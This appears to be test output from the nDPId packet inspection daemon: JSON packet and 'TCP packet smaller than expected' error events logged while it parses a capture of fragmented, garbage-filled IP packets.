-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2923,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0kAGRN8KAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2924,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434629} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2924,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1EAGRN0KAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2925,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434641} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2925,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1kAGRNsKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2926,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434650} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2926,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2EAGRNkKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2927,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434657} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2927,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2kAGRNcKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2928,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434665} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2928,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3EAGRNUKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2929,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434673} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2929,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3kAGRNMKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2930,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434681} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2930,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4EAGRNEKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2931,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434696} -00360{"packet_event_id":1,"packet_event_name":"packet","packet_id":2931,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4kAGRM8KAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2932,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434708} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2932,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5EAGRM0KAAACCoAAAj9zUj83NDgzOTYpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2933,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434719} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2933,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5kAGRMsKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2934,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434731} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2934,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6EAGRMkKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2935,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434742} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2935,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6kAGRMcKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2936,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434754} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2936,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7EAGRMUKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2937,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434768} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2937,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7kAGRMMKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2938,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434781} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2938,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8EAGRMEKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2939,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434793} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2939,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8kAGRL8KAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2940,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434805} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2940,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9EAGRL0KAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2941,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434820} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2941,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9kAGRLsKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2942,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434832} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2942,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+EAGRLkKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2943,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434844} -00362{"packet_event_id":1,"packet_event_name":"packet","packet_id":2943,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+kAGRLcKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2944,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434856} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":2944,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/EAGRLUKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2945,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434868} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":2945,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/kAGRLMKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2946,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434880} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2946,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAEAGRLEKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2947,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434895} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2947,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAkAGRK8KAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2948,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434906} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2948,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBEAGRK0KAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2949,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434918} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2949,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBkAGRKsKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2950,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434929} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2950,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCEAGRKkKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2951,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434940} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2951,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCkAGRKcKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2952,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434951} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2952,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDEAGRKUKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2953,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434963} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2953,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDkAGRKMKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2954,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434977} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2954,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEEAGRKEKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2955,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434989} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":2955,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEkAGRJ8KAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2956,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435001} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2956,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFEAGRJ0KAAACCoAAAkAhQCMkJV4mKigpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2957,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435012} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2957,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFkAGRJsKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2958,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435026} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2958,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGEAGRJkKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2959,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435038} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2959,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGkAGRJcKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2960,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435050} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2960,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHEAGRJUKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2961,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435062} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2961,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHkAGRJMKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2962,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435075} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2962,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIEAGRJEKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2963,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435090} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2963,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIkAGRI8KAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2964,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435102} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2964,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJEAGRI0KAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2965,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435115} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2965,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJkAGRIsKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2966,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435127} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2966,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKEAGRIkKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2967,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435139} 